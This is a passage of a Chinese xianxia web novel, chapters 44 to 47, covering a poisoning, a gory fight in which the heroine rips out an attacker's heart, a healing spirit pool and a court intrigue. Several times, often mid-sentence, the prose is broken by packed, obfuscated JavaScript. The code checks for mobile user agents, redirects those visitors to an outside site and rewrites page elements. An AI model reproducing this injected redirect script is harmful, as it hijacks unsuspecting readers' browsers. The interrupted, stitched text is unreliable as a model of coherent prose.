“修士就算了,泗水河下游还有平民沿河取水,说什么要沾仙人余晖,唉,龙血剧毒,这要真喝进去了……唉!” “是我让人传的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“它如今应当是要化龙了……你到这河中随便找个水妖来,我有一桩交易要与它谈。” 汤容林大张着嘴,愣愣地点头,感觉世界观都受到了重塑。 “一条水妖就能分裂成一个族群……?还能这样?”他呆呆地看着燕鸣臻步履匆匆地离开,忍不住揪了一根自己的胡子,在尖锐的刺痛中确认了自己不是在做梦。 *** 泗水河本是武丰河的支流,穿昭华城而过,河流坡道较缓,水流也不甚湍急。 每逢春日水暖时,总有风雅人家会沿河泛舟,相互和歌而行。 极其幸运的时候,他们会见到水中洄游而上的水妖们。 不论男女,水妖总是生得很美,个个都是肤如凝脂且身材丰腴,搭配上颇有异域风情的异色瞳,很容易让人心生喜爱。 只是水妖出现的频率在几年前开始急剧下降,沿河的居民都说他们已经随着水流迁离了泗水河,不会再回来了。 但偶尔几个不幸落水又被救回的幸运儿却有不同的说法。 “他们还在泗水河里!”面色青白的中年男子似乎回想起了什么,浑身不停地打着哆嗦,“就在河底!他们躺在河底,等着人掉下去……” “若是侥幸没溺死,他们便会浮上来,把你们送回岸边……” “可若是不幸溺死了……” “那就只能变成水妖的育儿袋了……他们会从那些尸体里孵出新的水妖来……” 44. 汤药 黄昏时分,黎金铃背后跟着两个侍药小童,一路环佩叮当地穿过长廊。他的步履匆匆而目标明确,步伐中完全看不出任何目不能视的影子,沿途的侍从与闲人都认得这位出身尊贵的年轻司药,纷纷低头对他行礼。 黎金铃目不斜视地从这些人中间穿过,身后穿着青缎短衫的小药童提着一个硕大的红漆食盒踉踉跄跄地跟着他的脚步。 “倒是甚少见黎司药如此步履匆匆,也不知所为何事?”眼见着三人的背影消失在长廊的拐角处,一个束着玉冠的白衣女子转过头,向身边低着头的侍女低声问道。 “您说笑了,黎司药之事,怎是我等仆役可随意议论的呢?您若有意探听,直接向三殿下询问便是,”那侍女却眉目含笑,将她这个明显是试探的问题滴水不漏的挡了回去,“殿下,净室已为您备下,可是要现在过去?” 被侍从称作“殿下”的白衣女子收回目光,淡淡扫过侍女的含笑的面容,从鼻翼中不置可否的哼出一声。 “……罢了,”她懒洋洋地一摆手,细白皓腕上一串宝光熠熠的珠串玉镯随之叮铃作响,“这是老三的府邸,我还是客随主便……带路吧。” 黎金铃倒没注意到沿途还有这样一位“殿下”注意到了他的行踪,他一路疾行,直到走到那间隐秘的客室门前,也不敲门,而是毫不客气地直接伸手推门。 “吱呀”一声,门扉应声而动,屋内没有燃灯,只有角落金炉中焚着的香药闪烁着幽暗的红光。 室外倾泄的流光为屋内陈设镀上一层晦涩的光影,房间正中床榻上,垂下的床幔中,似有人影侧卧着。 姚珍珍刚从小憩中醒来,神智还带着温暖的倦怠,单手撑着枕头半坐起身。 “黎司药?”她手指在脑后摸索一番,将睡梦中不慎弄散的白纱重新系紧,扭过头。 “是我。”黎金铃从鼻腔中挤出一声应答的声音。少年此刻动作倒是突然慢下来了,仿佛刚才那个行色匆匆的人不是他似的。 “我亲自盯着煎的药,”少年下颌微微仰起,双手抱臂站着,示意身后药童将拎着的食盒提进去,“灵药时效有限,先服药。” 漆红的食盒打开,盒子底部用于保温的法阵运转中发出细微的声响,一碗绿莹莹的汤药正泛起细微的涟漪。 青衣的侍从端起药碗,走向床边。 姚珍珍挥手拒绝了对方想要替她喂药的动作,翻身走下了床,单手接过了药碗。 “三殿下还未回来么?”她一边低头喝药,一边随口问道。 黎金铃的脸色因为她毫不犹豫的服药动作而缓和许多。 “未曾,”少年将提起的嘴角强行压下,开口道,“你倒是不问我给你送的何药。” “……嗯?这有什么好问的,”姚珍珍将空碗交还给药童,“医修中能修至司药的能有多少?你已是一洲司药官,我若是连你也不能信,未免太不知好歹了。” 黎金铃的嘴角终于抑制不住地翘了起来。 “算你识相,”他走进屋内,身后跟着的侍从忙忙地替他捧来一盏烛台,却被他一拂手阻止了,“你如今灵脉亏损,丹海枯涸,我给你配了两味温养的灵材做使,以今年新采龙葵新翅做君……” 姚珍珍摸索着在身边一张圈椅上坐下了,一边撑着头听他卖弄。 黎金铃自顾自地说了半响,一边药童看着对面这位三殿下带回的娇客脸上系着遮眼的白纱,斜靠在椅中,脸色苍白几乎与面上白纱同色,行止间有倦色,不免伸手轻轻拉了拉自家司药的衣袖。 许是因为名字的缘故,黎金铃身披的外衫上零碎缀着许多金铃,被药童一拉便发出清脆地叮叮声。 少年一下停住了话语,一双白瞳施舍般斜睨了一眼自己的药童。 “……司药,我瞧白姑娘如今神思倦怠,是否……” 被手下人当面驳了脸色,黎金铃脸色先是一变,眉心本能蹙起,但似乎是想起了什么,他很快又强行将下撇的嘴角收住。 “……罢了,你还是先歇着吧,”他抿起嘴,转过身,“三殿下若是回来,见你还是病歪歪的样子,定是要找我麻烦的。” 说完,少年抬步就要离开,可他的脚还没迈过门槛,却又忽然一停。 亦步亦趋跟在少年身后的两个药童也停下了脚步,都是一脸莫名地看向这个素来阴晴不定的主官。 黎金铃眉毛拧了起来,他忽然想起了哪里不对。 这个从小被家族娇养的少年的脸上从来藏不住心思,但好此刻他正背对着屋内人,一时没被人看出不妥来。 只是…… 长廊上忽然吹来一阵微风,将少年司药官浑身琐碎的首饰金铃吹得叮铃作响,恰好掩住了他身后一个不甚明显的脚步声。 一点冰凉的触感隔着轻薄的纱衣,忽然贴上了他的后心。 “哐当”一声,是另一个药童手中沉重的食盒落了地,发出一声巨响。 “嗬嗬——”失手摔了食盒的药童双手徒劳地捂住自己的喉间,却止不住指缝间越来越汹涌的血流。 姚珍珍已然察觉出不对劲,霍然站起了身来,但她还没能如何动作,便忽然感觉身体一阵眩晕,踉跄了一下,险些栽倒在地。 “你给我下了什么药?”她伸手去解脑后的丝带结,手指却发软得厉害,试了几次才扯开。 青衣的药童咯咯的笑了起来。 “无需担心,不是什么毒药,”他一手握着一把短小的银刀,尖端抵住黎金铃的后背,一边扭头,似乎是很想仔细观赏一下姚珍珍如今的情态,“毕竟司药大人也在,若我真给你的汤药中下了虎狼之药,定然是立即就要被发现的……” “所以我只是在你的药里面掺了一点灵沸散,嗯,当然,还有一点点麻药。” 黎金铃白皙的额角渗出些许汗意——后背利刃压得极紧,他已经感觉到那块肌肤上一点冰凉的疼痛感,显然是凶器已经扎穿布料,刺破了他的皮肤。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13381885|133989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……你想要什么?”少年的右手还扶在门框上,此刻一动也不敢动。 他不敢动,身后之人却并无顾忌。 这个面若好女的妖冶小童忽然将未曾持刀那只手伸出,手臂勒住黎金铃的脖颈,将手指狠狠地擦过少年花瓣般的嘴唇。 “舔。”他命令道,几乎同时,少年背后利刃再度推进了几分。 黎金铃闻到了一阵并不陌生的苦涩气味,来自身后之人的手上。 他很轻易地通过嗅闻分辨出此人指腹上的应当便是刚才下在汤药中的麻药,但…… “这个味道,你用的剂量根本不是一点——唔唔!” 黎金铃的医嘱果然没错,姚珍珍眼上的布料业已取下,但睁眼看见的全是斑斓的色块,即使是黄昏时分的一点微光,也让她觉得眼眶一阵刺痒,忍不住溢出生理性的泪水。 她摇摇头,感觉到身体一阵阵的发麻,四肢百骸仿佛还在控制中,只是每一个指令到达的速度都慢了许多,想向前走的意志发出许久,她才感觉到自己左脚向前一伸,右脚却没跟上,身体随之失去平衡,“咚!”一声栽倒在地。 而房间门口,黎金铃开口的瞬间便被人将手指塞进了嘴中,粗粝手指扳着他的下颌,强行将食指指腹上残余的药剂涂抹进了他的嘴里。 药物的效果几乎是立竿见影的,少年几乎立时便昏死过去了,身体无声无息的软倒在地。 持刀的药童松开手,将湿漉漉的食指随意地揩在少年白皙的脸颊上,一边转过了身。 “白姑娘,”他握着那柄银色的短刀,一步步向着还在试图挣扎起身的姚珍珍走来,“你可真是够奇怪的。” 他在姚珍珍面前半蹲下来,伸手捏住对方的下颌,仔细端详起女人娇美的脸颊来。 “能放倒一只狮鹫的药量,你居然只是失去行动力……”感受到面上落下的冰冷目光,姚珍珍费力地睁开眼睛,却只看见眼前一块青色的模糊影子,她想调动体内灵气,但沸灵散入体,一切都是徒劳。 “说什么海外来的名不见经传的散修,如此神异体质,难怪陛下惦记着你呀……” 他一边说着,一边伸手入怀,单手拉开了自己的衣襟,露出一片平坦苍白的皮肤。 银色的刀刃划破肌理,药童妖冶的脸上浮现一丝痛苦的神色,稀薄血色涌上他的双颊,很快又随着伤口处血液的流失而逝去。 姚珍珍睁大了眼睛,看着对方将染血的利刃伸来,距离近了,她终于能看清,银色的刀口上,殷红血色活物般沸腾扭动,似乎是感受到了活人气息,这些蠕动的血珠充满渴盼地向着姚珍珍的方向滚动聚拢起来。 姚珍珍的瞳孔猛地收缩起来。 “陛下不喜欢女子躯壳……没关系,”他似乎是很满意对方的反应,失色的脸颊上,一双眼睛亮得惊人,“我是不介意的,白姑娘,你生的如此美,我一见便欣喜。” 姚珍珍感觉一丝凉意慢慢贴上了自己的脸颊。 45. 剜心 姚珍珍的背后渗出了一层冷汗,银白的刀刃抵住了她的侧脸,其上粘稠的蛊血沿着刀尖攀爬而上,在脸颊上留下阴冷潮湿的触感。 “等我换上了你的身体,再去把黎金铃那双眼睛剜出来……”似乎是想到了什么值得高兴的事情,药童兴奋得双手都止不住地颤抖起来,手中尖锐刀口在女子的脸上留下一道伤口。 伤口并不深,传到她已被麻痹的神经里的也只是微不足道的一点刺痛。 ——但已经足够了。 女子几近涣散的瞳孔缓慢地转动了一下,似乎是对他挑衅的话语有了反应。 下一秒,“噗呲”一声,是利器刺穿骨肉,血液喷溅的声音,在寂静的病室,这声音显得格外明显。 声音的来源并不是药童手中的银刀,他似乎也被这动静吓了一跳,下意识地低头看向声音的来源。 一把造型精致的纯金短匕穿过层叠的衣衫,直直的插在女子的膝头上方伏兔穴处,在柔软布料上洇出深红的血色。 “你……”他一时瞠目,未能反应过来对方此意何为。 姚珍珍猛地眨眼,那诡异的蛊血已经流进了她的眼眶,她的视野中一片血红,大腿上传来的剧烈疼痛将她昏聩的神智强行拉回了些许。 没有视觉、没有武器、四肢灵脉受药物影响,不能使用灵力……这都没关系。 她本身就是尸山血海里淬炼出来的一柄刀兵,杀戮从来是本能。 持刀的恶徒只觉得眼前一花,刚刚还倒在地上动弹不得的鱼肉却已向着他猛扑过来! 他心中大惊,下意识的将手中银刀向前猛刺,但对方却不避不闪,直接朝着他送出的刀刃撞了上来。 “咚”一声巨响,两人重重摔在地上,转瞬间已过了好几招,女子出手的动作实在快得惊人,他手中银刀刺入她的腹中,却好似完全未能影响到对方。 “你这个疯婆娘!”他咬牙叱骂,就要调动灵力将身上纠缠的女子震开,却忽然浑身一僵。 ……姚珍珍秀美白皙的指尖从药童敞开的衣襟处深入,十指搭上了他自行剖开的心口伤处,毫无犹豫,顺着伤口的方向,十指并拢,狠狠撕扯开来! “呃啊啊啊啊!”被生生开膛的疼痛岂是常人能忍的,惨痛的叫声几乎是本能的从他嘴中发出,双手双脚也同时拼命挣扎着胡乱踢蹬,混乱间姚珍珍险些被他临死的爆发给甩下去。 她已经完全看不见了,睁眼皆是血红。腹部传来冰冷麻木的疼痛,她听见蛊血在她脑内钻动时发出的咕叽响声,但这不妨碍她继续将手下之人开膛破肚,手指越过那些横生的骨骼肌肉,一路深入,直到攥住那颗仍在勃勃跳动的器官。 它依然是活着的,散发着热腾腾的腥气,被她硬生生地从原本温暖舒适的胸膛中扯出,淋漓的污血哗啦啦泼了一地。 失了心的尸首噗通一声倒地,在血泊中抽搐两下,再也不动了。 被两人翻滚打斗声引来的侍从们匆匆而来,首先见到的便是软倒在门槛边生死不知的黎金铃,顿时皆是惊呼。 但等看见屋内场景,饶是见惯生死的护卫们,也不由得倒吸一口冷气。 仅从地面翻倒碎裂的桌椅摆设,便可知场面之惨烈,更何况砖面大片拖拽喷溅状血迹的尽头,身着白衣的修罗正缓慢扭过头来。 她仍然跪坐在地面上,听见了门外传来的脚步声,于是转过头去,秀美面容被血污覆盖,双目无神,腹部被一柄银刀穿刺而过,刀刃插得极深,几乎只留下一个刀柄在外面,简直要让人怀疑她是如何顶着这样的伤势还能保持清醒的。 女子身下是被开膛破肚的惨死尸首,纤长十指间还攥着一团猩红死肉,活脱脱便是个食人血肉的妖鬼。 众人皆被她的情状吓住,一时踌躇,不知是该救还是如何。 姚珍珍却什么也没看清,她只是下意识的循着声音回过头。 眼前依然是一片血红,她听见自己鼓噪的心跳声,听见手中滴滴答答的液体落地声,听见……内府丹海中另一个人充满恶意的笑声。 那声音她永远也不会忘记。 “倒是闹得好大阵仗……白姑娘,你可毁了我一具上好的血灵傀啊,”那个她永世难忘的声音懒洋洋地说道,“不过,既已心蛊入体……” “便让我先试试你这具新躯体,究竟如何?” 女子的手忽然不受控制的张开,手中肉块“啪叽”一声落进地面血泊中,溅起一滩血污,她却浑不在意般伸手,开始梳理起自己散乱的发髻与衣衫来。 顺着眼眶与腹部伤口流入身体中蛊血令应滕得以控制她的躯体,姚珍珍想要抢回控制权,却只能眼睁睁看着自己施施然起身,向着团团围聚的侍从们走去。 【“你是谁?为何在此操纵我的身体?”白郁湄的声音却忽然响起在内府中,不似平常怯懦,带着显而易见的愤怒。】 姚珍珍感觉到自己向前的步伐忽然一僵,像是思想与身体分了家,她一只手捂住了头,双腿往前,另一只手却向后,想要握住身边一张翻倒的书案,好阻止自己继续前行。 【“嗯?”应滕在内府中发出一声略有疑惑的声音,“你怎么还能……”】 【“是你伤了姐姐?”白郁湄的声音简直是出离的愤怒,“还敢占据我的身体搞鬼?”】 【“……”】 不知道她做了什么,姚珍珍忽然感觉到桎梏着自己神魂的力量忽然一震,随即猛然消散。 她下意识地伸出手,在模糊的视线中看见了掌心中干涸的血渍——她又能控制这副躯体了。 【“姐姐!”白郁湄的声音响起,“我已把他赶走了!你没事吧?”】 “……”姚珍珍没有说话。 如今情状实在诡异,蛊血入体,即使受蛊过程被她强行中断,想要短期内摆脱应滕的心控之术也绝非易事——此事已有先例,姚珍珍曾见过医修是如何救治被蛊血侵染之人的……通常是要滤清全身血脉才行。 可如今情况,她的确已察觉不到方才那种受控的感觉,连脑海中隆隆作响的异声也消失了。 白郁湄……她是如何做到的?姚珍珍心头一时疑虑重重。 但此刻并不是与她纠缠的时候,她还未来得及再问些什么,看见一个身材高挑的束发女道越过一众充满警惕的侍从,向着自己走来。 姚珍珍抬头,瞧见那女道身穿一身素白长衫,通身简朴,并无多余 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姚珍珍深深吸气,脊背靠着身后椅背,双手死死摁住腰腹间伤处,好让它尽快愈合,她捱过一阵撕裂般的剧痛,还想说些什么,却忽然听见远远传来一阵响动。 “殿下!” “殿下!” “是殿下回来了!” “殿下!黎司药他……” “……” 一阵兵荒马乱地动静由远及近,姚珍珍一抬眼,看见燕鸣臻从来完美无缺的面庞难得出现了几乎扭曲的表情——心痛、愤怒与惊恐混合,全然破坏了那张美丽面孔的好颜色。 “……”青年单膝跪地,双手颤抖着想要覆盖住姚珍珍捂住伤口的手,却又怕再弄疼了她,只好手足无措地虚拢着她的手,“是我……是我的错,我不该……” 姚珍珍此时已经捱过了最难忍的一波疼痛,有心安慰对方,勉强提起嘴角正想说点什么,耳边忽然传来由远及近的一声嚎啕大哭。 一个青年男子从门外直直扑来,噗通一声跪在了姚珍珍脚边。 “湄娘——”陆哲的面容本来还可算得上端正,只如今涕泗横流,全无美感。 “你这是怎么了!湄娘啊!”他看着姚珍珍此刻浑身浴血,抽噎一声,就要去抱住女子小腿。 46. 灵泉 陆哲还在一把鼻涕一把泪的抱着她的小腿干嚎,所有人的注意力都被他的动作吸引了过来,连方才被燕鸣臻动作所惊到的盛冉也不自觉的将目光投向这个形容实在说不上得体的青年,长尾微微蹙起。 姚珍珍额角青筋跳了跳,在踢与不踢之间犹豫了一下,最后还是决定遵从自己的本心。 但她才刚抬起腿,还没动作,蹭着她小腿嚎哭的青年却忽然被人拎着衣领,重重向后一拽! 陆哲未曾料到有此一难,毫无防备地向后栽倒,“啪叽”一声摔进了满地血污中。 感到背后垫着个尚有余温的人体,陆哲撑着地面呻吟一声,下意识地回头想对身后之人道歉,睁眼却对上了一张目眦欲裂的惨白脸颊,眼珠凸出,嘴巴大张,是个死不瞑目的惨相。 他吓了一跳,再往下一看,这惨白脸颊的主人正对着自己“敞开心胸”,陆哲脸色一白。发出一声仿佛被人掐住了脖子般的嘶哑叫声,眼白一翻,生生被吓晕过去了。 “……”姚珍珍看着这活宝这段表演,抬着一条没受伤的腿,一时沉默。 而造成这一切的燕鸣臻却完全未在意陆哲如何,他将人甩到身后,一手握住了姚珍珍的脚踝。 此举实在逾矩,姚珍珍低头,与他的目光对上。 青年漂亮的眼眶泛着红色,瞳孔颤抖着没有聚焦,攥着她脚踝的手握得极紧,几乎让她感觉到一些疼痛。 “老三!”盛冉忽然大声呼唤,同时上前一步,女修的身材高大,有效地遮挡住了身后众人窥伺的视线,“白姑娘的外伤需要尽快处理……” 穆梁也适时上前,将侍从送来的丹药递过去。 “殿下!先让白姑娘服下灵药……” 燕鸣臻猛然松开了手。 “我……”他抬手捂住了自己的一只眼睛,后退半步,一把抓过穆梁手中玉瓶。 四枚晶莹剔透的丸药落进他的掌心——明玉续命丹,以已逝司药蒋明玉的名字命名,由多种珍稀灵药经秘法炼制而来,有生死人肉白骨之能。因着此药中所使用一味药材已在多年前绝迹于南陆,此药价值因此逐年飙升,偶尔流落至市场中的一两枚,常常能拍出一个令一般修士望尘莫及的价格。 盛冉处事的确严密,白郁湄在沧磐府内受此重创,无论事实如何他们都是理亏,她开口令穆梁去取此药,既是为了救治,也是为了补偿。 燕鸣臻的眼珠转动,目光在手中丸药上扫过,神色微不可察地一松。 “白姑娘,”他的话说得很慢,似乎是在极力克制自己的情绪,好让自己的话语能顺利地说完,“你……先服药。” “穆梁,去取我的私印来,”见姚珍珍将丹药吞咽入腹,他情绪终于稳定下来,侧过头吩咐身后长史,“我要打开五蕴灵泉。” “殿下!”长史顿时倒吸一口气,还想再说些什么,但瞧见青年脸色,又把话咽了下去,只是脸上颇有肉疼之色。 盛冉同样是眉头一跳,但她到底做了许久的大皇妃,惊诧只是一瞬,很快便走上前来。 “三弟,白姑娘入灵泉一事,便交由我安排吧,你们毕竟男女有别……” 燕鸣臻扭头看她一眼,那眼神中满是敌意与警惕,眸光之冰冷,连盛冉都不由得脚步一停,面露犹疑。 “殿下,便让大……这位殿下送我去吧。”姚珍珍不知道“五蕴灵泉”是什么地方,但只听名字也能猜出大概是某种药泉一类修养宝地,此种地点,的确不便由燕鸣臻送她过去,见两人僵持,赶紧开口劝说。 听她这么说,燕鸣臻掩在衣袖下的手指一紧。 “是……大嫂,有劳你,替我照顾好白姑娘。”他终于松了口,退开半步,让盛冉得以上前。 因着黎金铃的到来,沧磐府内聚集了不少前来求教的医修,其中不乏有擅治金石外创的医者,被穆梁急匆匆的引进了内院。 在两位殿下殷切的目光中,这位医者战战兢兢地给姚珍珍清理了腹部伤口,下手拔出了腿上姚珍珍自己刺进去的那把小巧金匕,又运了一套金匮之法,将创口封住。 “……这便可以了,”她接过身后人递来的帕子,随手擦拭了额间细汗,抬头看见几人都还紧盯着自己,不由得心头一颤,“姑娘身体与常人不同,既已服了明玉续命丹,我便不再开其他丹药了……只待休养即可。” “多谢医者。”姚珍珍伸手抚摸了一下被包起的伤处,感觉自己好像已经没什么事了,一边道谢,一边就想起身。 一只纤长的手轻轻按在了她的左肩下,力度不大,却有效地阻止了她的动作。 “白姑娘。”燕鸣臻似乎是无意将手放在了她的肩头,目光斜斜向下,撇过姚珍珍的神色,轻轻一叹。 他轻声喊她一句,之后什么也没说,只是发出一声忧郁的叹息,音调婉转,百转千回,一下就把姚珍珍还想乱动的心给吹熄了。 “……”盛冉着人带来酬金,将医者送走,回头看见两人神色,表情微微一愣。 “灵泉已备下,三弟,有我带白姑娘过去,你……”她见燕鸣臻还是一副充耳不闻的样子,只顾着低头与那坐着的女子传情,不由提高了声音,“还是暂且回避为好。” 燕鸣臻终于屈尊降贵的将目光分给了自己这位大嫂些许。 “好。” *** ……原来所谓“灵泉”并非真正的泉眼。 姚珍珍自认不算多么孤陋寡闻,平生所见天材灵宝也不少,但穷尽她的想象力,她也想象不到南陆皇室之中竟然还有这样一处宝地。 燕鸣臻回避离开后,盛冉将长史送来的一方青印沾上印泥,对着半空便是随手一拓,姚珍珍还未能反应过来她的行为用意,便感觉身下一轻—— 地面上不知何时出现了一个乳白色的传送法阵,两人随即失重下坠。 姚珍珍此时还算镇定,下坠途中还有余裕扭头向下看。 她瞧见一汪浅绿的潭水,水面平静无波,宛如一块镶嵌在地面上的透明翡翠。 ……我们就这么直接摔进去吗?她的疑惑直持续了短短一瞬间。 下一秒,两人几乎同时落入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13426028|133989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翡翠中。 预想中本应溅起的巨大水花并未出现,姚珍珍惊奇的发现她以为的潭水实际上并不是水,温暖而柔软的感觉将她浑身包裹,浓郁的灵力随着身体与“潭水”接触的每一块肌肤缓缓流入她体内。 这一池浅绿的“潭水”,竟然是一池浓郁到以至于完全凝练固化的灵气团! 她顺着重力沉进“水”中,却完全不觉窒息,只感觉到前所未有的舒畅与肆意。 “如何?可有好些?”盛冉显然也十分享受,她仰面躺在“水”面上,四肢张开,神情沉醉,“这个灵泉,是由燕皇的私库出资所建,泉中所用灵气皆提炼自上好的灵玉,启用一次便是万金之数……” “燕皇吝啬,只给他的几个儿女每年几次通行的机会,我今日能来,还是沾了姑娘的光。”盛冉伸手,将束发的玉冠解开,任由满头青丝随着灵气流动而散开。 姚珍珍没说话。 倒不是她没什么想说的,只是一路奔波确实辛苦,乍然放松,一时松懈之下,神智熏然,几乎要睡着。 盛冉扭头看见她沉醉的表情,哪还不明白对方此刻情况?她不由得笑了一声,随手划了两下,靠近了对方。 身边灵力的流动终于引起了姚珍珍的注意,她懒洋洋地掀开眼皮,瞧见盛冉正向着自己游来。 “殿下?”她从鼻腔中哼出一声软绵绵的声音,音色之怠懒连她自己都吃惊。 “你身上有伤,我来帮你,”盛冉也听见了她的声音,嘴角微翘,伸手就要解开她的衣衫,“别躲,隔着衣物疗愈效果要打折扣的。” “……” 姚珍珍被她动作惊住,被对方眼疾手快地剥去了外衫,雪白的内衬也被扯开大半,露出女子窈窕动人的身体曲线。 “!!!”她一时窘得差点双手抱胸逃走,“殿下!” 盛冉却发出一声轻笑。 “你我都是女子,何须害臊?”她伸手扯开姚珍珍腰间最后一根腰带,手指虚虚地拢上她腰间伤口,引导着灵泉流过伤处,“……很美。” 她似乎是赞叹,又似乎只是随口安抚。 姚珍珍一时摸不清这位许久不见的大嫂如今是何态度,只能挣扎着脱离了对方的手掌,向着灵泉深处游了些。 “好吧,既然你害羞,我也不勉强你,只是白姑娘,我有一件事,必须要问一问你,”盛冉也不介意她的回避,只是收回手,容色收敛,“你与三弟……可有过夫妻之实了?” “??”姚珍珍被她突如其来的问题惊得简直要灵魂出窍,瞪大了眼睛看着对方。 下一刻—— “咳咳咳咳咳咳!” ——她连张嘴换气都一时忘了,险些把自己憋死在灵泉里。 姚珍珍手脚并用地挣扎咳嗽片刻,好容易捋清了呼吸,抬头一看。 盛冉依然放松地浮在灵泉中,脑后长发海葵般散开,女子眉目端肃,眉间既无促狭,也无笑意——她是真的在问问题,而不是开玩笑。 姚珍珍好容易放松下来的神经顿时又紧绷了起来。 47. 和离 “……殿下何有此问?”盛冉唐突一问,姚珍珍只觉得自己如今不仅是被扒了外衣,更是连皮肉骨骼都要被扒开研究,“我与三殿下相识不过几日,相处间也未有逾矩之举,殿下如此发问,实在不妥。” 盛冉看她一脸严肃,一双柳眉蹙得紧紧的,两条藕节般的手臂戒备地环在胸前,紧紧拽着散开的衣襟,仿佛生怕自己再冲上去把她非礼了似的,不由得失笑出声。 “何须如此草木皆兵?”她伸手拨动“灵泉”中氤氲的灵气团,语气轻松,“我昨日才到昭华城,你们之前如何相处我并未得见,但仅今日所见,白姑娘……” “我听闻那陆氏的公子是你的丈夫,想来你也不是未曾出阁的少女,”盛冉的五官生得标志,姚珍珍只记得她盛装时端庄的姿态,却不料对方此刻促狭起来,眼波流转间也能如此狡黠,“三殿下看你的眼神,我瞧着可并不清白,你难道瞧不出么?” “陆氏是你的夫君,可见你受伤,表现得最心痛的反而不是他……五蕴灵泉开启一次花费甚巨,三弟却毫无犹疑便让长史取了私印来……” “打开灵泉的青印是特制的法器,只有计入皇室玉牃内的人才能使用,若我不在,便是他亲自送你来这灵泉,你们两个,孤男寡女……”盛冉一边说着,一边慢慢靠近了姚珍珍,侧着脸去端详她的表情。 “我们并非……”姚珍珍本能地就要反驳,但对方所说皆是事实,她一时竟然哑口无言。 女子张了张口,还想说点什么辩驳一二,但想了想,最终还是惺惺地闭上了嘴。 见她神色纠结,盛冉脸上笑意更深。 “不必如此紧张,”她伸手,手指从姚珍珍的脸颊便拂过,将一缕碎发扫开,“饮食男女,人之大欲存焉……我又不是夫子,也无意苛责于你。” “只有一事,白姑娘,我须得与你讲明了。”见女子脸上露出愕然的神色,盛冉收回手指,笑意微敛,“可不是所有皇妃都与我一般慈心……” “……与三殿下结契的那位女修,可不是多么温柔可亲的性子。” 姚珍珍尴尬地伸手挠了挠后脑,一时失语。 这要如何解释?难道坦言她并非白郁湄,而是姚珍珍本人?她与这位大皇妃虽然认识许久,但交集不多,并不打算将身份就此告知。 姚珍珍一时踌躇两难,灵泉所在空间有限,她也不能将人甩下置之不理,只能硬着头皮听对方接着说话。 盛冉看女子面露迟疑,以为是自己的话语戳中了对方心事,眸色不由得一深。 “姚淼淼是与她关系亲密的同门师妹,即便恼怒,碍于情分,那位大师姐当然不舍得伤她。” “离茵洲余氏曾有女仰慕三殿下风姿,于飨月宴当众坦言,若得与之春风一度,愿以灵田千顷相许……”盛冉摇了摇头,似是惋惜,“后来余氏所据的明宵山便被人擢断了灵脉,整个家族就此一蹶不振,至今难再起势。” “什么?”姚珍珍猛然抬头,动作之剧烈,灵泉中泛起层层涟漪,“可有查出是何人所为?” 盛冉只是看着她,并未回答。 但她的态度本身就是一种回答。 “……不,不会的,”姚珍珍难以置信地摇头否认,她当然确信自己从未做过此事,甚至根本不记得见过这位离茵洲的余氏小姐,“不会是那位……那位大师姐所为。” “当然不是她动的手,”盛冉的脸上依然带着微微笑意,只是双眸中已无半分暖意,目光直直如箭,刺向姚珍珍的面门,“剑宗大师姐誉满天下,多有能人义士愿为她肝脑涂地,一个小小的余氏……不过顺手为之而已。” “……是谁?”姚珍珍听见自己的声音,颤抖着。 “谁知道呢?反正无人在意,也就无人追究了,”盛冉轻描淡写地将这个话题带过,话音忽然一转,“白姑娘,我看得出来,你与三殿下有情……” “你想要什么?”姚珍珍突然打断了她还要继续的游说。 她已明白,这位在她记忆里曾经亲切和煦的大皇妃,与面前这个笑面冷心的女子,已然不再是同一人了。 或许这位出身高贵的长嫂本来便与她记忆里的温柔毫无关系,只是她是姚珍珍,于是她便不得不温柔可亲…… 一阵沉郁涌上了姚珍珍的心头。 “我?”被人打断了话语,盛冉也并不恼怒,只是收敛了些笑容,歪了歪脑袋,“我想要你与我合作。” “我想要你拴住三殿下的心。” “我想要你让他与姚珍珍解契,我想要让他们分道扬镳。” “自燕氏登临皇位,历任皇子与皇女的婚契从未有过废除的先例……”盛冉说及此处,不由发出一声冷笑,一对长眉向上挑起,神色中满含蔑视与嘲弄,“即使两看相厌,即使已成怨侣……即使最后死生相隔,他们也要死死攥住契定的道侣,不肯放手。” “……但她毕竟不同,”女子低声叹息,“若她想要解契,燕皇会同意的……他不得不同意。” “只有开了这条先河,我才有和家族谈判,争取和离的可能。” “白姑娘,我愿意帮你,”她忽然伸手,握住了姚珍珍的手腕,“姚珍珍已远走洛萍七年,纵使曾经如何情深,如今也已淡了。” “你与三殿下有情,白姑娘,我看得出来……你只是需要一些机会。” 